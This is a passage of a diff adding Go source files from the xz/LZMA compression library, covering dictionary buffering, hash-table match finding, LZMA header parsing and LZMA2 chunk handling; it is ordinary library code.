if int64(n) > d.head {
|
||||
return int(d.head)
|
||||
}
|
||||
return n
|
||||
}
|
||||
|
||||
// DictLen returns the actual length of data in the dictionary.
|
||||
func (d *encoderDict) DictLen() int {
|
||||
if d.head < int64(d.capacity) {
|
||||
return int(d.head)
|
||||
}
|
||||
return d.capacity
|
||||
}
|
||||
|
||||
// Available returns the number of bytes that can be written by a
|
||||
// following Write call.
|
||||
func (d *encoderDict) Available() int {
|
||||
return d.buf.Available() - d.DictLen()
|
||||
}
|
||||
|
||||
// Write writes data into the dictionary buffer. Note that the position
|
||||
// of the dictionary head will not be moved. If there is not enough
|
||||
// space in the buffer ErrNoSpace will be returned.
|
||||
func (d *encoderDict) Write(p []byte) (n int, err error) {
|
||||
m := d.Available()
|
||||
if len(p) > m {
|
||||
p = p[:m]
|
||||
err = ErrNoSpace
|
||||
}
|
||||
var e error
|
||||
if n, e = d.buf.Write(p); e != nil {
|
||||
err = e
|
||||
}
|
||||
return n, err
|
||||
}
|
||||
|
||||
// Pos returns the position of the head.
|
||||
func (d *encoderDict) Pos() int64 { return d.head }
|
||||
|
||||
// ByteAt returns the byte at the given distance.
|
||||
func (d *encoderDict) ByteAt(distance int) byte {
|
||||
if !(0 < distance && distance <= d.Len()) {
|
||||
return 0
|
||||
}
|
||||
i := d.buf.rear - distance
|
||||
if i < 0 {
|
||||
i += len(d.buf.data)
|
||||
}
|
||||
return d.buf.data[i]
|
||||
}
|
||||
|
||||
// CopyN copies the last n bytes from the dictionary into the provided
|
||||
// writer. This is used for copying uncompressed data into an
|
||||
// uncompressed segment.
|
||||
func (d *encoderDict) CopyN(w io.Writer, n int) (written int, err error) {
|
||||
if n <= 0 {
|
||||
return 0, nil
|
||||
}
|
||||
m := d.Len()
|
||||
if n > m {
|
||||
n = m
|
||||
err = ErrNoSpace
|
||||
}
|
||||
i := d.buf.rear - n
|
||||
var e error
|
||||
if i < 0 {
|
||||
i += len(d.buf.data)
|
||||
if written, e = w.Write(d.buf.data[i:]); e != nil {
|
||||
return written, e
|
||||
}
|
||||
i = 0
|
||||
}
|
||||
var k int
|
||||
k, e = w.Write(d.buf.data[i:d.buf.rear])
|
||||
written += k
|
||||
if e != nil {
|
||||
err = e
|
||||
}
|
||||
return written, err
|
||||
}
|
||||
|
||||
// Buffered returns the number of bytes in the buffer.
|
||||
func (d *encoderDict) Buffered() int { return d.buf.Buffered() }
|
||||
BIN
Binary file not shown.
+309
@@ -0,0 +1,309 @@
|
||||
// Copyright 2014-2022 Ulrich Kunitz. All rights reserved.
|
||||
// Use of this source code is governed by a BSD-style
|
||||
// license that can be found in the LICENSE file.
|
||||
|
||||
package lzma
|
||||
|
||||
import (
|
||||
"errors"
|
||||
"fmt"
|
||||
|
||||
"github.com/ulikunitz/xz/internal/hash"
|
||||
)
|
||||
|
||||
/* For compression we need to find byte sequences that match the byte
|
||||
* sequence at the dictionary head. A hash table is a simple method to
|
||||
* provide this capability.
|
||||
*/
|
||||
|
||||
// maxMatches limits the number of matches requested from the Matches
|
||||
// function. This controls the speed of the overall encoding.
|
||||
const maxMatches = 16
|
||||
|
||||
// shortDists defines the number of short distances supported by the
|
||||
// implementation.
|
||||
const shortDists = 8
|
||||
|
||||
// The minimum is somehow arbitrary but the maximum is limited by the
|
||||
// memory requirements of the hash table.
|
||||
const (
|
||||
minTableExponent = 9
|
||||
maxTableExponent = 20
|
||||
)
|
||||
|
||||
// newRoller contains the function used to create an instance of the
|
||||
// hash.Roller.
|
||||
var newRoller = func(n int) hash.Roller { return hash.NewCyclicPoly(n) }
|
||||
|
||||
// hashTable stores the hash table including the rolling hash method.
|
||||
//
|
||||
// We implement chained hashing into a circular buffer. Each entry in
|
||||
// the circular buffer stores the delta distance to the next position with a
|
||||
// word that has the same hash value.
|
||||
type hashTable struct {
|
||||
dict *encoderDict
|
||||
// actual hash table
|
||||
t []int64
|
||||
// circular list data with the offset to the next word
|
||||
data []uint32
|
||||
front int
|
||||
// mask for computing the index for the hash table
|
||||
mask uint64
|
||||
// hash offset; initial value is -int64(wordLen)
|
||||
hoff int64
|
||||
// length of the hashed word
|
||||
wordLen int
|
||||
// hash roller for computing the hash values for the Write
|
||||
// method
|
||||
wr hash.Roller
|
||||
// hash roller for computing arbitrary hashes
|
||||
hr hash.Roller
|
||||
// preallocated slices
|
||||
p [maxMatches]int64
|
||||
distances [maxMatches + shortDists]int
|
||||
}
|
||||
|
||||
// hashTableExponent derives the hash table exponent from the dictionary
|
||||
// capacity.
|
||||
func hashTableExponent(n uint32) int {
|
||||
e := 30 - nlz32(n)
|
||||
switch {
|
||||
case e < minTableExponent:
|
||||
e = minTableExponent
|
||||
case e > maxTableExponent:
|
||||
e = maxTableExponent
|
||||
}
|
||||
return e
|
||||
}
|
||||
|
||||
// newHashTable creates a new hash table for words of length wordLen
|
||||
func newHashTable(capacity int, wordLen int) (t *hashTable, err error) {
|
||||
if !(0 < capacity) {
|
||||
return nil, errors.New(
|
||||
"newHashTable: capacity must not be negative")
|
||||
}
|
||||
exp := hashTableExponent(uint32(capacity))
|
||||
if !(1 <= wordLen && wordLen <= 4) {
|
||||
return nil, errors.New("newHashTable: " +
|
||||
"argument wordLen out of range")
|
||||
}
|
||||
n := 1 << uint(exp)
|
||||
if n <= 0 {
|
||||
panic("newHashTable: exponent is too large")
|
||||
}
|
||||
t = &hashTable{
|
||||
t: make([]int64, n),
|
||||
data: make([]uint32, capacity),
|
||||
mask: (uint64(1) << uint(exp)) - 1,
|
||||
hoff: -int64(wordLen),
|
||||
wordLen: wordLen,
|
||||
wr: newRoller(wordLen),
|
||||
hr: newRoller(wordLen),
|
||||
}
|
||||
return t, nil
|
||||
}
|
||||
|
||||
func (t *hashTable) SetDict(d *encoderDict) { t.dict = d }
|
||||
|
||||
// buffered returns the number of bytes that are currently hashed.
|
||||
func (t *hashTable) buffered() int {
|
||||
n := t.hoff + 1
|
||||
switch {
|
||||
case n <= 0:
|
||||
return 0
|
||||
case n >= int64(len(t.data)):
|
||||
return len(t.data)
|
||||
}
|
||||
return int(n)
|
||||
}
|
||||
|
||||
// addIndex adds n to an index ensuring that is stays inside the
|
||||
// circular buffer for the hash chain.
|
||||
func (t *hashTable) addIndex(i, n int) int {
|
||||
i += n - len(t.data)
|
||||
if i < 0 {
|
||||
i += len(t.data)
|
||||
}
|
||||
return i
|
||||
}
|
||||
|
||||
// putDelta puts the delta instance at the current front of the circular
|
||||
// chain buffer.
|
||||
func (t *hashTable) putDelta(delta uint32) {
|
||||
t.data[t.front] = delta
|
||||
t.front = t.addIndex(t.front, 1)
|
||||
}
|
||||
|
||||
// putEntry puts a new entry into the hash table. If there is already a
|
||||
// value stored it is moved into the circular chain buffer.
|
||||
func (t *hashTable) putEntry(h uint64, pos int64) {
|
||||
if pos < 0 {
|
||||
return
|
||||
}
|
||||
i := h & t.mask
|
||||
old := t.t[i] - 1
|
||||
t.t[i] = pos + 1
|
||||
var delta int64
|
||||
if old >= 0 {
|
||||
delta = pos - old
|
||||
if delta > 1<<32-1 || delta > int64(t.buffered()) {
|
||||
delta = 0
|
||||
}
|
||||
}
|
||||
t.putDelta(uint32(delta))
|
||||
}
|
||||
|
||||
// WriteByte converts a single byte into a hash and puts them into the hash
|
||||
// table.
|
||||
func (t *hashTable) WriteByte(b byte) error {
|
||||
h := t.wr.RollByte(b)
|
||||
t.hoff++
|
||||
t.putEntry(h, t.hoff)
|
||||
return nil
|
||||
}
|
||||
|
||||
// Write converts the bytes provided into hash tables and stores the
|
||||
// abbreviated offsets into the hash table. The method will never return an
|
||||
// error.
|
||||
func (t *hashTable) Write(p []byte) (n int, err error) {
|
||||
for _, b := range p {
|
||||
// WriteByte doesn't generate an error.
|
||||
t.WriteByte(b)
|
||||
}
|
||||
return len(p), nil
|
||||
}
|
||||
|
||||
// getMatches the matches for a specific hash. The functions returns the
|
||||
// number of positions found.
|
||||
//
|
||||
// TODO: Make a getDistances because that we are actually interested in.
|
||||
func (t *hashTable) getMatches(h uint64, positions []int64) (n int) {
|
||||
if t.hoff < 0 || len(positions) == 0 {
|
||||
return 0
|
||||
}
|
||||
buffered := t.buffered()
|
||||
tailPos := t.hoff + 1 - int64(buffered)
|
||||
rear := t.front - buffered
|
||||
if rear >= 0 {
|
||||
rear -= len(t.data)
|
||||
}
|
||||
// get the slot for the hash
|
||||
pos := t.t[h&t.mask] - 1
|
||||
delta := pos - tailPos
|
||||
for {
|
||||
if delta < 0 {
|
||||
return n
|
||||
}
|
||||
positions[n] = tailPos + delta
|
||||
n++
|
||||
if n >= len(positions) {
|
||||
return n
|
||||
}
|
||||
i := rear + int(delta)
|
||||
if i < 0 {
|
||||
i += len(t.data)
|
||||
}
|
||||
u := t.data[i]
|
||||
if u == 0 {
|
||||
return n
|
||||
}
|
||||
delta -= int64(u)
|
||||
}
|
||||
}
|
||||
|
||||
// hash computes the rolling hash for the word stored in p. For correct
|
||||
// results its length must be equal to t.wordLen.
|
||||
func (t *hashTable) hash(p []byte) uint64 {
|
||||
var h uint64
|
||||
for _, b := range p {
|
||||
h = t.hr.RollByte(b)
|
||||
}
|
||||
return h
|
||||
}
|
||||
|
||||
// Matches fills the positions slice with potential matches. The
|
||||
// functions returns the number of positions filled into positions. The
|
||||
// byte slice p must have word length of the hash table.
|
||||
func (t *hashTable) Matches(p []byte, positions []int64) int {
|
||||
if len(p) != t.wordLen {
|
||||
panic(fmt.Errorf(
|
||||
"byte slice must have length %d", t.wordLen))
|
||||
}
|
||||
h := t.hash(p)
|
||||
return t.getMatches(h, positions)
|
||||
}
|
||||
|
||||
// NextOp identifies the next operation using the hash table.
|
||||
//
|
||||
// TODO: Use all repetitions to find matches.
|
||||
func (t *hashTable) NextOp(rep [4]uint32) operation {
|
||||
// get positions
|
||||
data := t.dict.data[:maxMatchLen]
|
||||
n, _ := t.dict.buf.Peek(data)
|
||||
data = data[:n]
|
||||
var p []int64
|
||||
if n < t.wordLen {
|
||||
p = t.p[:0]
|
||||
} else {
|
||||
p = t.p[:maxMatches]
|
||||
n = t.Matches(data[:t.wordLen], p)
|
||||
p = p[:n]
|
||||
}
|
||||
|
||||
// convert positions in potential distances
|
||||
head := t.dict.head
|
||||
dists := append(t.distances[:0], 1, 2, 3, 4, 5, 6, 7, 8)
|
||||
for _, pos := range p {
|
||||
dis := int(head - pos)
|
||||
if dis > shortDists {
|
||||
dists = append(dists, dis)
|
||||
}
|
||||
}
|
||||
|
||||
// check distances
|
||||
var m match
|
||||
dictLen := t.dict.DictLen()
|
||||
for _, dist := range dists {
|
||||
if dist > dictLen {
|
||||
continue
|
||||
}
|
||||
|
||||
// Here comes a trick. We are only interested in matches
|
||||
// that are longer than the matches we have been found
|
||||
// before. So before we test the whole byte sequence at
|
||||
// the given distance, we test the first byte that would
|
||||
// make the match longer. If it doesn't match the byte
|
||||
// to match, we don't to care any longer.
|
||||
i := t.dict.buf.rear - dist + m.n
|
||||
if i < 0 {
|
||||
i += len(t.dict.buf.data)
|
||||
}
|
||||
if t.dict.buf.data[i] != data[m.n] {
|
||||
// We can't get a longer match. Jump to the next
|
||||
// distance.
|
||||
continue
|
||||
}
|
||||
|
||||
n := t.dict.buf.matchLen(dist, data)
|
||||
switch n {
|
||||
case 0:
|
||||
continue
|
||||
case 1:
|
||||
if uint32(dist-minDistance) != rep[0] {
|
||||
continue
|
||||
}
|
||||
}
|
||||
if n > m.n {
|
||||
m = match{int64(dist), n}
|
||||
if n == len(data) {
|
||||
// No better match will be found.
|
||||
break
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
if m.n == 0 {
|
||||
return lit{data[0]}
|
||||
}
|
||||
return m
|
||||
}
|
||||
+167
@@ -0,0 +1,167 @@
|
||||
// Copyright 2014-2022 Ulrich Kunitz. All rights reserved.
|
||||
// Use of this source code is governed by a BSD-style
|
||||
// license that can be found in the LICENSE file.
|
||||
|
||||
package lzma
|
||||
|
||||
import (
|
||||
"errors"
|
||||
"fmt"
|
||||
)
|
||||
|
||||
// uint32LE reads an uint32 integer from a byte slice
|
||||
func uint32LE(b []byte) uint32 {
|
||||
x := uint32(b[3]) << 24
|
||||
x |= uint32(b[2]) << 16
|
||||
x |= uint32(b[1]) << 8
|
||||
x |= uint32(b[0])
|
||||
return x
|
||||
}
|
||||
|
||||
// uint64LE converts the uint64 value stored as little endian to an uint64
|
||||
// value.
|
||||
func uint64LE(b []byte) uint64 {
|
||||
x := uint64(b[7]) << 56
|
||||
x |= uint64(b[6]) << 48
|
||||
x |= uint64(b[5]) << 40
|
||||
x |= uint64(b[4]) << 32
|
||||
x |= uint64(b[3]) << 24
|
||||
x |= uint64(b[2]) << 16
|
||||
x |= uint64(b[1]) << 8
|
||||
x |= uint64(b[0])
|
||||
return x
|
||||
}
|
||||
|
||||
// putUint32LE puts an uint32 integer into a byte slice that must have at least
|
||||
// a length of 4 bytes.
|
||||
func putUint32LE(b []byte, x uint32) {
|
||||
b[0] = byte(x)
|
||||
b[1] = byte(x >> 8)
|
||||
b[2] = byte(x >> 16)
|
||||
b[3] = byte(x >> 24)
|
||||
}
|
||||
|
||||
// putUint64LE puts the uint64 value into the byte slice as little endian
|
||||
// value. The byte slice b must have at least place for 8 bytes.
|
||||
func putUint64LE(b []byte, x uint64) {
|
||||
b[0] = byte(x)
|
||||
b[1] = byte(x >> 8)
|
||||
b[2] = byte(x >> 16)
|
||||
b[3] = byte(x >> 24)
|
||||
b[4] = byte(x >> 32)
|
||||
b[5] = byte(x >> 40)
|
||||
b[6] = byte(x >> 48)
|
||||
b[7] = byte(x >> 56)
|
||||
}
|
||||
|
||||
// noHeaderSize defines the value of the length field in the LZMA header.
|
||||
const noHeaderSize uint64 = 1<<64 - 1
|
||||
|
||||
// HeaderLen provides the length of the LZMA file header.
|
||||
const HeaderLen = 13
|
||||
|
||||
// header represents the header of an LZMA file.
|
||||
type header struct {
|
||||
properties Properties
|
||||
dictCap int
|
||||
// uncompressed size; negative value if no size is given
|
||||
size int64
|
||||
}
|
||||
|
||||
// marshalBinary marshals the header.
|
||||
func (h *header) marshalBinary() (data []byte, err error) {
|
||||
if err = h.properties.verify(); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
if !(0 <= h.dictCap && int64(h.dictCap) <= MaxDictCap) {
|
||||
return nil, fmt.Errorf("lzma: DictCap %d out of range",
|
||||
h.dictCap)
|
||||
}
|
||||
|
||||
data = make([]byte, 13)
|
||||
|
||||
// property byte
|
||||
data[0] = h.properties.Code()
|
||||
|
||||
// dictionary capacity
|
||||
putUint32LE(data[1:5], uint32(h.dictCap))
|
||||
|
||||
// uncompressed size
|
||||
var s uint64
|
||||
if h.size > 0 {
|
||||
s = uint64(h.size)
|
||||
} else {
|
||||
s = noHeaderSize
|
||||
}
|
||||
putUint64LE(data[5:], s)
|
||||
|
||||
return data, nil
|
||||
}
|
||||
|
||||
// unmarshalBinary unmarshals the header.
|
||||
func (h *header) unmarshalBinary(data []byte) error {
|
||||
if len(data) != HeaderLen {
|
||||
return errors.New("lzma.unmarshalBinary: data has wrong length")
|
||||
}
|
||||
|
||||
// properties
|
||||
var err error
|
||||
if h.properties, err = PropertiesForCode(data[0]); err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
// dictionary capacity
|
||||
h.dictCap = int(uint32LE(data[1:]))
|
||||
if h.dictCap < 0 {
|
||||
return errors.New(
|
||||
"LZMA header: dictionary capacity exceeds maximum " +
|
||||
"integer")
|
||||
}
|
||||
|
||||
// uncompressed size
|
||||
s := uint64LE(data[5:])
|
||||
if s == noHeaderSize {
|
||||
h.size = -1
|
||||
} else {
|
||||
h.size = int64(s)
|
||||
if h.size < 0 {
|
||||
return errors.New(
|
||||
"LZMA header: uncompressed size " +
|
||||
"out of int64 range")
|
||||
}
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
// validDictCap checks whether the dictionary capacity is correct. This
|
||||
// is used to weed out wrong file headers.
|
||||
func validDictCap(dictcap int) bool {
|
||||
if int64(dictcap) == MaxDictCap {
|
||||
return true
|
||||
}
|
||||
for n := uint(10); n < 32; n++ {
|
||||
if dictcap == 1<<n {
|
||||
return true
|
||||
}
|
||||
if dictcap == 1<<n+1<<(n-1) {
|
||||
return true
|
||||
}
|
||||
}
|
||||
return false
|
||||
}
|
||||
|
||||
// ValidHeader checks for a valid LZMA file header. It allows only
|
||||
// dictionary sizes of 2^n or 2^n+2^(n-1) with n >= 10 or 2^32-1. If
|
||||
// there is an explicit size it must not exceed 256 GiB. The length of
|
||||
// the data argument must be HeaderLen.
|
||||
func ValidHeader(data []byte) bool {
|
||||
var h header
|
||||
if err := h.unmarshalBinary(data); err != nil {
|
||||
return false
|
||||
}
|
||||
if !validDictCap(h.dictCap) {
|
||||
return false
|
||||
}
|
||||
return h.size < 0 || h.size <= 1<<38
|
||||
}
|
||||
+398
@@ -0,0 +1,398 @@
|
||||
// Copyright 2014-2022 Ulrich Kunitz. All rights reserved.
|
||||
// Use of this source code is governed by a BSD-style
|
||||
// license that can be found in the LICENSE file.
|
||||
|
||||
package lzma
|
||||
|
||||
import (
|
||||
"errors"
|
||||
"fmt"
|
||||
"io"
|
||||
)
|
||||
|
||||
const (
|
||||
// maximum size of compressed data in a chunk
|
||||
maxCompressed = 1 << 16
|
||||
// maximum size of uncompressed data in a chunk
|
||||
maxUncompressed = 1 << 21
|
||||
)
|
||||
|
||||
// chunkType represents the type of an LZMA2 chunk. Note that this
|
||||
// value is an internal representation and no actual encoding of a LZMA2
|
||||
// chunk header.
|
||||
type chunkType byte
|
||||
|
||||
// Possible values for the chunk type.
|
||||
const (
|
||||
// end of stream
|
||||
cEOS chunkType = iota
|
||||
// uncompressed; reset dictionary
|
||||
cUD
|
||||
// uncompressed; no reset of dictionary
|
||||
cU
|
||||
// LZMA compressed; no reset
|
||||
cL
|
||||
// LZMA compressed; reset state
|
||||
cLR
|
||||
// LZMA compressed; reset state; new property value
|
||||
cLRN
|
||||
// LZMA compressed; reset state; new property value; reset dictionary
|
||||
cLRND
|
||||
)
|
||||
|
||||
// chunkTypeStrings provide a string representation for the chunk types.
|
||||
var chunkTypeStrings = [...]string{
|
||||
cEOS: "EOS",
|
||||
cU: "U",
|
||||
cUD: "UD",
|
||||
cL: "L",
|
||||
cLR: "LR",
|
||||
cLRN: "LRN",
|
||||
cLRND: "LRND",
|
||||
}
|
||||
|
||||
// String returns a string representation of the chunk type.
|
||||
func (c chunkType) String() string {
|
||||
if !(cEOS <= c && c <= cLRND) {
|
||||
return "unknown"
|
||||
}
|
||||
return chunkTypeStrings[c]
|
||||
}
|
||||
|
||||
// Actual encodings for the chunk types in the value. Note that the high
|
||||
// uncompressed size bits are stored in the header byte additionally.
|
||||
const (
|
||||
hEOS = 0
|
||||
hUD = 1
|
||||
hU = 2
|
||||
hL = 1 << 7
|
||||
hLR = 1<<7 | 1<<5
|
||||
hLRN = 1<<7 | 1<<6
|
||||
hLRND = 1<<7 | 1<<6 | 1<<5
|
||||
)
|
||||
|
||||
// errHeaderByte indicates an unsupported value for the chunk header
|
||||
// byte. These bytes starts the variable-length chunk header.
|
||||
var errHeaderByte = errors.New("lzma: unsupported chunk header byte")
|
||||
|
||||
// headerChunkType converts the header byte into a chunk type. It
|
||||
// ignores the uncompressed size bits in the chunk header byte.
|
||||
func headerChunkType(h byte) (c chunkType, err error) {
|
||||
if h&hL == 0 {
|
||||
// no compression
|
||||
switch h {
|
||||
case hEOS:
|
||||
c = cEOS
|
||||
case hUD:
|
||||
c = cUD
|
||||
case hU:
|
||||
c = cU
|
||||
default:
|
||||
return 0, errHeaderByte
|
||||
}
|
||||
return
|
||||
}
|
||||
switch h & hLRND {
|
||||
case hL:
|
||||
c = cL
|
||||
case hLR:
|
||||
c = cLR
|
||||
case hLRN:
|
||||
c = cLRN
|
||||
case hLRND:
|
||||
c = cLRND
|
||||
default:
|
||||
return 0, errHeaderByte
|
||||
}
|
||||
return
|
||||
}
|
||||
|
||||
// uncompressedHeaderLen provides the length of an uncompressed header
|
||||
const uncompressedHeaderLen = 3
|
||||
|
||||
// headerLen returns the length of the LZMA2 header for a given chunk
|
||||
// type.
|
||||
func headerLen(c chunkType) int {
|
||||
switch c {
|
||||
case cEOS:
|
||||
return 1
|
||||
case cU, cUD:
|
||||
return uncompressedHeaderLen
|
||||
case cL, cLR:
|
||||
return 5
|
||||
case cLRN, cLRND:
|
||||
return 6
|
||||
}
|
||||
panic(fmt.Errorf("unsupported chunk type %d", c))
|
||||
}
|
||||
|
||||
// chunkHeader represents the contents of a chunk header.
|
||||
type chunkHeader struct {
|
||||
ctype chunkType
|
||||
uncompressed uint32
|
||||
compressed uint16
|
||||
props Properties
|
||||
}
|
||||
|
||||
// String returns a string representation of the chunk header.
|
||||
func (h *chunkHeader) String() string {
|
||||
return fmt.Sprintf("%s %d %d %s", h.ctype, h.uncompressed,
|
||||
h.compressed, &h.props)
|
||||
}
|
||||
|
||||
// UnmarshalBinary reads the content of the chunk header from the data
|
||||
// slice. The slice must have the correct length.
|
||||
func (h *chunkHeader) UnmarshalBinary(data []byte) error {
|
||||
if len(data) == 0 {
|
||||
return errors.New("no data")
|
||||
}
|
||||
c, err := headerChunkType(data[0])
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
n := headerLen(c)
|
||||
if len(data) < n {
|
||||
return errors.New("incomplete data")
|
||||
}
|
||||
if len(data) > n {
|
||||
return errors.New("invalid data length")
|
||||
}
|
||||
|
||||
*h = chunkHeader{ctype: c}
|
||||
if c == cEOS {
|
||||
return nil
|
||||
}
|
||||
|
||||
h.uncompressed = uint32(uint16BE(data[1:3]))
|
||||
if c <= cU {
|
||||
return nil
|
||||
}
|
||||
h.uncompressed |= uint32(data[0]&^hLRND) << 16
|
||||
|
||||
h.compressed = uint16BE(data[3:5])
|
||||
if c <= cLR {
|
||||
return nil
|
||||
}
|
||||
|
||||
h.props, err = PropertiesForCode(data[5])
|
||||
return err
|
||||
}
|
||||
|
||||
// MarshalBinary encodes the chunk header value. The function checks
|
||||
// whether the content of the chunk header is correct.
|
||||
func (h *chunkHeader) MarshalBinary() (data []byte, err error) {
|
||||
if h.ctype > cLRND {
|
||||
return nil, errors.New("invalid chunk type")
|
||||
}
|
||||
if err = h.props.verify(); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
data = make([]byte, headerLen(h.ctype))
|
||||
|
||||
switch h.ctype {
|
||||
case cEOS:
|
||||
return data, nil
|
||||
case cUD:
|
||||
data[0] = hUD
|
||||
case cU:
|
||||
data[0] = hU
|
||||
case cL:
|
||||
data[0] = hL
|
||||
case cLR:
|
||||
data[0] = hLR
|
||||
case cLRN:
|
||||
data[0] = hLRN
|
||||
case cLRND:
|
||||
data[0] = hLRND
|
||||
}
|
||||
|
||||
putUint16BE(data[1:3], uint16(h.uncompressed))
|
||||
if h.ctype <= cU {
|
||||
return data, nil
|
||||
}
|
||||
data[0] |= byte(h.uncompressed>>16) &^ hLRND
|
||||
|
||||
putUint16BE(data[3:5], h.compressed)
|
||||
if h.ctype <= cLR {
|
||||
return data, nil
|
||||
}
|
||||
|
||||
data[5] = h.props.Code()
|
||||
return data, nil
|
||||
}
|
||||
|
||||
// readChunkHeader reads the chunk header from the IO reader.
|
||||
func readChunkHeader(r io.Reader) (h *chunkHeader, err error) {
|
||||
p := make([]byte, 1, 6)
|
||||
if _, err = io.ReadFull(r, p); err != nil {
|
||||
return
|
||||
}
|
||||
c, err := headerChunkType(p[0])
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
p = p[:headerLen(c)]
|
||||
if _, err = io.ReadFull(r, p[1:]); err != nil {
|
||||
return
|
||||
}
|
||||
h = new(chunkHeader)
|
||||
if err = h.UnmarshalBinary(p); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
return h, nil
|
||||
}
|
||||
|
||||
// uint16BE converts a big-endian uint16 representation to an uint16
|
||||
// value.
|
||||
func uint16BE(p []byte) uint16 {
|
||||
return uint16(p[0])<<8 | uint16(p[1])
|
||||
}
|
||||
|
||||
// putUint16BE puts the big-endian uint16 presentation into the given
|
||||
// slice.
|
||||
func putUint16BE(p []byte, x uint16) {
|
||||
p[0] = byte(x >> 8)
|
||||
p[1] = byte(x)
|
||||
}
|
||||
|
||||
// chunkState is used to manage the state of the chunks
|
||||
type chunkState byte
|
||||
|
||||
// start and stop define the initial and terminating state of the chunk
|
||||
// state
|
||||
const (
|
||||
start chunkState = 'S'
|
||||
stop chunkState = 'T'
|
||||
)
|
||||
|
||||
// errors for the chunk state handling
|
||||
var (
|
||||
errChunkType = errors.New("lzma: unexpected chunk type")
|
||||
errState = errors.New("lzma: wrong chunk state")
|
||||
)
|
||||
|
||||
// next transitions state based on chunk type input
|
||||
func (c *chunkState) next(ctype chunkType) error {
|
||||
switch *c {
|
||||
// start state
|
||||
case 'S':
|
||||
switch ctype {
|
||||
case cEOS:
|
||||
*c = 'T'
|
||||
case cUD:
|
||||
*c = 'R'
|
||||
case cLRND:
|
||||
*c = 'L'
|
||||
default:
|
||||
return errChunkType
|
||||
}
|
||||
// normal LZMA mode
|
||||
case 'L':
|
||||
switch ctype {
|
||||
case cEOS:
|
||||
*c = 'T'
|
||||
case cUD:
|
||||
*c = 'R'
|
||||
case cU:
|
||||
*c = 'U'
|
||||
case cL, cLR, cLRN, cLRND:
|
||||
break
|
||||
default:
|
||||
return errChunkType
|
||||
}
|
||||
// reset required
|
||||
case 'R':
|
||||
switch ctype {
|
||||
case cEOS:
|
||||
*c = 'T'
|
||||
case cUD, cU:
|
||||
break
|
||||
case cLRN, cLRND:
|
||||
*c = 'L'
|
||||
default:
|
||||
return errChunkType
|
||||
}
|
||||
// uncompressed
|
||||
case 'U':
|
||||
switch ctype {
|
||||
case cEOS:
|
||||
*c = 'T'
|
||||
case cUD:
|
||||
*c = 'R'
|
||||
case cU:
|
||||
break
|
||||
case cL, cLR, cLRN, cLRND:
|
||||
*c = 'L'
|
||||
default:
|
||||
return errChunkType
|
||||
}
|
||||
// terminal state
|
||||
case 'T':
|
||||
return errChunkType
|
||||
default:
|
||||
return errState
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
// defaultChunkType returns the default chunk type for each chunk state.
|
||||
func (c chunkState) defaultChunkType() chunkType {
|
||||
switch c {
|
||||
case 'S':
|
||||
return cLRND
|
||||
case 'L', 'U':
|
||||
return cL
|
||||
case 'R':
|
||||
return cLRN
|
||||
default:
|
||||
// no error
|
||||
return cEOS
|
||||
}
|
||||
}
|
||||
|
||||
// maxDictCap defines the maximum dictionary capacity supported by the
|
||||
// LZMA2 dictionary capacity encoding.
|
||||
const maxDictCap = 1<<32 - 1
|
||||
|
||||
// maxDictCapCode defines the maximum dictionary capacity code.
|
||||
const maxDictCapCode = 40
|
||||
|
||||
// The function decodes the dictionary capacity byte, but doesn't change
|
||||
// for the correct range of the given byte.
|
||||
func decodeDictCap(c byte) int64 {
|
||||
return (2 | int64(c)&1) << (11 + (c>>1)&0x1f)
|
||||
}
|
||||
|
||||
// DecodeDictCap decodes the encoded dictionary capacity. The function
|
||||
// returns an error if the code is out of range.
|
||||
func DecodeDictCap(c byte) (n int64, err error) {
|
||||
if c >= maxDictCapCode {
|
||||
if c == maxDictCapCode {
|
||||
return maxDictCap, nil
|
||||
}
|
||||
return 0, errors.New("lzma: invalid dictionary size code")
|
||||
}
|
||||
return decodeDictCap(c), nil
|
||||
}
|
||||
|
||||
// EncodeDictCap encodes a dictionary capacity. The function returns the
|
||||
// code for the capacity that is greater or equal n. If n exceeds the
|
||||
// maximum support dictionary capacity, the maximum value is returned.
|
||||
func EncodeDictCap(n int64) byte {
|
||||
a, b := byte(0), byte(40)
|
||||
for a < b {
|
||||
c := a + (b-a)>>1
|
||||
m := decodeDictCap(c)
|
||||
if n <= m {
|
||||
if n == m {
|
||||
return c
|
||||
}
|
||||
b = c
|
||||
} else {
|
||||
a = c + 1
|
||||
}
|
||||
}
|
||||
return a
|
||||
}
|
||||
+115
@@ -0,0 +1,115 @@
|
||||
// Copyright 2014-2022 Ulrich Kunitz. All rights reserved.
|
||||
// Use of this source code is governed by a BSD-style
|
||||
// license that can be found in the LICENSE file.
|
||||
|
||||
package lzma
|
||||
|
||||
import "errors"
|
||||
|
||||
// maxPosBits defines the number of bits of the position value that are used to
|
||||
// to compute the posState value. The value is used to select the tree codec
|
||||
// for length encoding and decoding.
|
||||
const maxPosBits = 4
|
||||
|
||||
// minMatchLen and maxMatchLen give the minimum and maximum values for
|
||||
// encoding and decoding length values. minMatchLen is also used as base
|
||||
// for the encoded length values.
|
||||
const (
|
||||
minMatchLen = 2
|
||||
maxMatchLen = minMatchLen + 16 + 256 - 1
|
||||
)
|
||||
|
||||
// lengthCodec support the encoding of the length value.
|
||||
type lengthCodec struct {
|
||||
choice [2]prob
|
||||
low [1 << maxPosBits]treeCodec
|
||||
mid [1 << maxPosBits]treeCodec
|
||||
high treeCodec
|
||||
}
|
||||
|
||||
// deepcopy initializes the lc value as deep copy of the source value.
|
||||
func (lc *lengthCodec) deepcopy(src *lengthCodec) {
|
||||
if lc == src {
|
||||
return
|
||||
}
|
||||
lc.choice = src.choice
|
||||
for i := range lc.low {
|
||||
lc.low[i].deepcopy(&src.low[i])
|
||||
}
|
||||
for i := range lc.mid {
|
||||
lc.mid[i].deepcopy(&src.mid[i])
|
||||
}
|
||||
lc.high.deepcopy(&src.high)
|
||||
}
|
||||
|
||||
// init initializes a new length codec.
|
||||
func (lc *lengthCodec) init() {
|
||||
for i := range lc.choice {
|
||||
lc.choice[i] = probInit
|
||||
}
|
||||
for i := range lc.low {
|
||||
lc.low[i] = makeTreeCodec(3)
|
||||
}
|
||||
for i := range lc.mid {
|
||||
